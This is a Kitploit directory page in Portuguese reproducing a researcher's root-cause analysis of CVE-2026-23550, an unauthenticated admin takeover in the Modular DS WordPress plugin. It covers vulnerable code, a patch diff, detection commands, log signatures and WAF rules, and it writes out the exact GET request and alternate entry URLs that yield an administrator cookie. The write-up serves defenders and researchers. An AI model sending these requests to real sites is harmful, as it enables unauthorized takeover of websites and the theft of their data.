Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-23550 — Análise de causa raiz, PoC e orientação de detecção para CVE-2026-23550, uma tomada de sessão de administrador não autenticada crítica no plugin WordPress Modular DS. | Kitploit
Ferramentas/GitHubGitHub/1beelze/cve-2026-23550
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHub1beelze/cve-2026-23550

CVE-2026-23550

Análise de causa raiz, PoC e orientação de detecção para CVE-2026-23550, uma tomada de sessão de administrador não autenticada crítica no plugin WordPress Modular DS.

Ver Repositório
2há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
root@kitploit:~
   ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗    ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝    ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
  ██║     ██║   ██║█████╗       █████╔╝██║██╔██║ █████╔╝███████╗     █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
  ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗    ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
  ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝    ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
   ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝     ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝

CVE-2026-23550

Modular DS · Assunção de Sessão Admin Não Autenticada

CVSS Type Auth Vector Status Patched

Análise de Causa Raiz · Passeio pelo Código Fonte · Diff de Patch · PoC Educacional

Por: Beelze ( zeroday 1diot9 )


📌 TL;DR

Modular DS (modular-connector) é um plugin WordPress de gerenciamento de sites com mais de 40.000 instalações ativas. As versões ≤ 2.5.1 contêm uma cadeia de cinco defeitos que se acumulam, permitindo que qualquer atacante não autenticado ignore a autenticação, invoque o endpoint de login interno do plugin e receba um cookie de sessão wordpress_logged_in_* para a primeira conta de administrador — com uma única requisição HTTP GET.

root@kitploit:~
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld

→  HTTP/1.1 302 Found
   Location: /wp-admin/index.php
   Set-Cookie: wordpress_logged_in_<hash>=...

Resultado: comprometimento total do administrador. O atacante pode instalar plugins maliciosos, inserir webshells, criar contas de administrador de backup, exfiltrar o banco de dados.


📖 Índice

  • Versões Afetadas
  • Superfície de Ataque
  • Análise de Causa Raiz
  • Passeio pelo Código Fonte
  • Diff do Patch (2.5.1 → 2.5.2)
  • Prova de Conceito
  • Detecção e Remediação
  • Linha do Tempo
  • Referências
  • Aviso Legal

🎯 Versões Afetadas


🎯 Superfície de Ataque

A vulnerabilidade aciona um roteador personalizado derivado do Laravel embutido no plugin. O plugin possui seu próprio kernel HTTP (Ares/Framework) que se conecta na ação parse_request do WordPress para sequestrar requisições antes que o próprio roteamento do WordPress entre em ação.

Pré-requisitos: nenhum (plugin instalado e ativo, conectado ao Modular SaaS — padrão para todas as instalações ao vivo).

Pontos de entrada (qualquer um é suficiente):

root@kitploit:~
/api/modular-connector/login/<qualquer>?origin=mo&type=<qualquer>
/?rest_route=/api/modular-connector/login/<qualquer>&origin=mo&type=<qualquer>
/index.php?rest_route=/api/modular-connector/login/<qualquer>&origin=mo&type=<qualquer>
/wp-load.php?origin=mo&type=<qualquer>

🚩 Análise de Causa Raiz

A vulnerabilidade não é uma falha única — é uma cadeia de cinco defeitos que se acumulam. Cada camada, vista isoladamente, pode parecer defensável; combinadas, elas colapsam em um comprometimento de administrador pré-autenticação.

root@kitploit:~
flowchart TB
    A["🌐 Requisição do Atacante<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Portão abre apenas com parâmetros de consulta"]
    B --> C["② Router::findRoute()<br/>URL implicitamente resolvida para rota /login"]
    C --> D["③ Filtro bindOldRoutes()<br/>Falha em type desconhecido"]
    D --> E["④ ModularGuard::check()<br/>Valida OAuth do servidor, NÃO a requisição"]
    E --> F["⑤ AuthController::getLogin()<br/>Usa fallback para primeiro admin"]
    F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Atacante = Admin"]

    style A fill:#ff4444,stroke:#000,color:#fff
    style G fill:#00cc44,stroke:#000,color:#fff
    style B fill:#ff8888,stroke:#000
    style C fill:#ffaa66,stroke:#000
    style D fill:#ffcc44,stroke:#000
    style E fill:#ff8888,stroke:#000
    style F fill:#ff4444,stroke:#000,color:#fff

📋 Resumo dos Defeitos


🔬 Passeio pelo Código Fonte

① Portão de Bootstrap — HttpUtils::isDirectRequest()

Arquivo: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64

root@kitploit:~
public static function isDirectRequest(): bool
{
    $request = app('request');
    $userAgent = $request->header('User-Agent');
    $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
    $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
    $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');

    if ($isFromQuery) {
        return true;   // ⚠️ apenas parâmetro de consulta, sem assinatura
    }
    return false;
}

Problema: O modo "requisição direta" — destinado a identificar chamadas legítimas do backend Modular SaaS — é protegido apenas por parâmetros de consulta em texto puro, sem HMAC, JWT, nonce assinado ou lista de permissão de IP. Qualquer atacante pode acionar essa chave.

② Resolução Implícita URL→Rota — Router::findRoute()

Arquivo: vendor/ares/framework/src/Foundation/Routing/Router.php:20

root@kitploit:~
protected function findRoute($request)
{
    $this->current = $route = apply_filters(
        'ares/routes/match',
        $this->routes->match($request),   // ⚠️ URL resolvida para rota ANTES do filtro executar
        true
    );
    $route->setContainer($this->container);
    $this->container->instance(Route::class, $route);
    return $route;
}

Problema: routes->match($request) do Laravel resolve /api/modular-connector/login/xxx na rota login (protegida por autenticação) antes que o filtro de segurança execute. O filtro recebe essa rota como entrada, colocando sobre ele o ônus de provar que a rota é ilegítima, em vez de autorizá-la explicitamente.

③ Falha no Filtro — bindOldRoutes()

Arquivo: src/app/Providers/RouteServiceProvider.php:46

root@kitploit:~
public function bindOldRoutes($route, $removeQuery = false)
{
    if (!HttpUtils::isDirectRequest()) return $route;

    $request = request();
    $type = $request->header('x-mo-type', $request->get('type'));

    if ($type === 'request') { /* reatribuir via chamada OAuth assinada */ }
    if ($type === 'oauth')   { /* reatribuir para o handler /oauth */ }
    if ($type === 'lb')      { /* reatribuir para /schedule/run */ }

    return $route;   // ⚠️ Tipo desconhecido → rota da URL permanece como está
}

Problema: O filtro só substitui a rota quando type é um dos três valores conhecidos. Quando type é arbitrário (x, foo, vazio), ele passa direto e retorna a rota resolvida pela URL inalterada. A rota orientada por URL login — que no papel era protegida por autenticação — prossegue para a avaliação do middleware.

④ Guarda Quebrada — ModularGuard::check()

Arquivo: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16

root@kitploit:~
public function check()
{
    return !is_null($this->user());
}

public function user()
{
    $client = OauthClient::getClient();
    try {
        $client->validateOrRenewAccessToken();   // ⚠️ verifica estado do SERVIDOR
        $this->user = ['id' => $client->getClientId()];
    } catch (\Throwable $e) {
        return null;
    }
    return $this->user;
}

Problema: A guarda personalizada modular realiza zero verificação da identidade da requisição de entrada. Ela apenas verifica se o próprio plugin ainda mantém uma sessão OAuth válida com o Modular SaaS. Como praticamente toda instalação está conectada (caso contrário o plugin é inútil), a guarda retorna true para qualquer requisição que a atinja.

Este é o defeito central. Mesmo que os defeitos ①–③ fossem corrigidos, apenas esta guarda quebrada ainda permitiria acesso não autorizado a todas as rotas no grupo de middleware auth.

⑤ Fallback para Admin — AuthController::getLogin()

Arquivo: src/app/Http/Controllers/AuthController.php:66

root@kitploit:~
public function getLogin(SiteRequest $modularRequest)
{
    $user = data_get($modularRequest->body, 'id');   // null — binding nunca populado

    if (!empty($user)) {
        $user = get_user_by('id', $user);
    }

    if (empty($user)) {
        Cache::driver('wordpress')->forget('user.login');
        $user = ServerSetup::getAdminUser();   // 💣 primeiro admin do site
    }

    $cookies = ServerSetup::loginAs($user, true);   // 💣 emite cookie de sessão WP
    return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}

Problema: O binding de modelo de rota SiteRequest só é populado quando type === 'request' na cadeia de filtros. Para type desconhecido, $modularRequest chega ao controlador como um objeto vazio. O controlador então silenciosamente cai para o primeiro usuário administrador e emite para ele um cookie de login do WordPress. Qualquer um pode entrar pela porta da frente.


🩹 Diff do Patch (2.5.1 → 2.5.2)

root@kitploit:~
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);

━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
-     if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+     $routes = app('router')->getRoutes();
+     $route = $routes->getByName('default');   // 👈 sempre começar de uma rota 404
+     $route->bind(request());
+     if (!HttpUtils::isDirectRequest()) return $route;

━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+     abort(404);
+ })->name('default');

🔑 Filosofia do Patch

A correção remove a resolução implícita URL→rota completamente. O filtro agora começa com uma rota default programada para abort(404) e só reatribui para um controlador real quando type é um dos três valores explicitamente permitidos. Na nova lógica, type=x produz um 404 — a requisição nunca atinge o controlador de login, e não há nada para a guarda quebrada falhar abertamente.

Isso é defesa em profundidade aplicada retroativamente: mesmo que ModularGuard::check() permaneça estruturalmente fraco, a cadeia de alcançabilidade para ele agora está fechada para as rotas protegidas por autenticação.


🛠️ Prova de Conceito


🛡️ Detecção e Remediação

Imediato

  • Atualize para modular-connector >= 2.5.2 — não negociável.
  • Se a atualização estiver bloqueada, desative o plugin completamente. Não há contorno de configuração.

Avaliação de Comprometimento

Após a atualização, assuma comprometimento se o plugin estava ≤ 2.5.1 e acessível pela internet desde 2026-01-13. Verifique:

root@kitploit:~
# 1. Contas de administrador não autorizadas
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered

# 2. Instalações suspeitas de plugins após 2026-01-13
find wp-content/plugins/ -type d -newer /tmp/marker-jan13

# 3. Arquivos principais modificados recentemente
find wp-includes/ wp-admin/ -type f -mtime -30

# 4. Webshells (payloads comuns abandonados pós-exploração)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/

Assinaturas no servidor web (logs Apache / Nginx)

root@kitploit:~
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo

Regra WAF / ModSecurity (mitigação temporária)

root@kitploit:~
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
  "id:2026023550,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 exploit attempt (Modular DS)'"

SecRule ARGS:origin "@streq mo" \
  "chain,id:2026023551,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 direct-request bypass attempt'"
  SecRule ARGS:type "@rx .+"

📅 Linha do Tempo


📚 Referências

  • Patchstack Advisory
  • The Hacker News — Critical WordPress Modular DS
  • BleepingComputer — Active Exploitation Report
  • Security Affairs — Admin Takeover Analysis
  • eSecurity Planet — 40K Installs at Risk
  • Rescana — Incident Response Notes
  • WordPress Plugin Repository — modular-connector

👤 Autor

Beelze · zeroday 1diot9

Pesquisador Avançado de CVE · Analista de Vulnerabilidades · Construtor de PoC


⚖️ Aviso Legal

Este repositório é publicado estritamente para fins educacionais e de pesquisa defensiva.

A vulnerabilidade é divulgada publicamente (CVE-2026-23550), corrigida pelo fornecedor (modular-connector 2.5.2) e detalhada na imprensa de segurança mainstream. Este artigo existe para ajudar defensores a entenderem a causa raiz, desenvolvedores aprenderem com uma falha real de design de autenticação, e pesquisadores estudarem um padrão de defeitos em cadeia.

Não execute os scripts PoC incluídos contra sistemas que você não possui ou para os quais não possui autorização explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal em praticamente todas as jurisdições (CFAA · Computer Misuse Act · ITE Law · etc.).

O autor não aceita nenhuma responsabilidade por uso indevido. Se você não tem certeza se seu caso de uso é autorizado, não é.


Feito com 🎯 para a comunidade de pesquisa em segurança.

⭐ Dê uma estrela neste repositório se ele te ajudou a aprender algo.

Baixar ferramenta
CampoValor
Nome do PluginModular DS
Slugmodular-connector
Vulnerável<= 2.5.1
Corrigido2.5.2
Instalações Ativas~40.000
CVSS v3.110.0 / CRÍTICO (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
CWECWE-287 · CWE-306 · CWE-863
OWASPA07 — Falhas de Identificação e Autenticação
#CamadaArquivoProblema Raiz
①Portão de bootstrapHttpUtils.php:64Verificação origin=mo apenas na consulta, sem criptografia/nonce
②Correspondente URL→rotaRouter.php:20Resolução implícita de URL passada diretamente ao filtro
③Filtro de substituição de rotaRouteServiceProvider.php:46type desconhecido passa direto com a rota original intacta
④Guarda de autenticaçãoModularGuard.php:16Valida estado OAuth do lado do servidor, não a identidade da requisição
⑤Controlador de loginAuthController.php:66Fallback silencioso para getAdminUser() quando faltam dados
DataEvento
2026-01-XXFornecedor lança 2.5.2 com correção de segurança silenciosa
2026-01-13 ~02:00 UTCPrimeira exploração observada no mundo real
2026-01-13Patchstack publica aviso · CVE-2026-23550 atribuído
2026-01-14Cobertura de The Hacker News, BleepingComputer, Security Affairs
2026-07-05Este artigo educacional publicado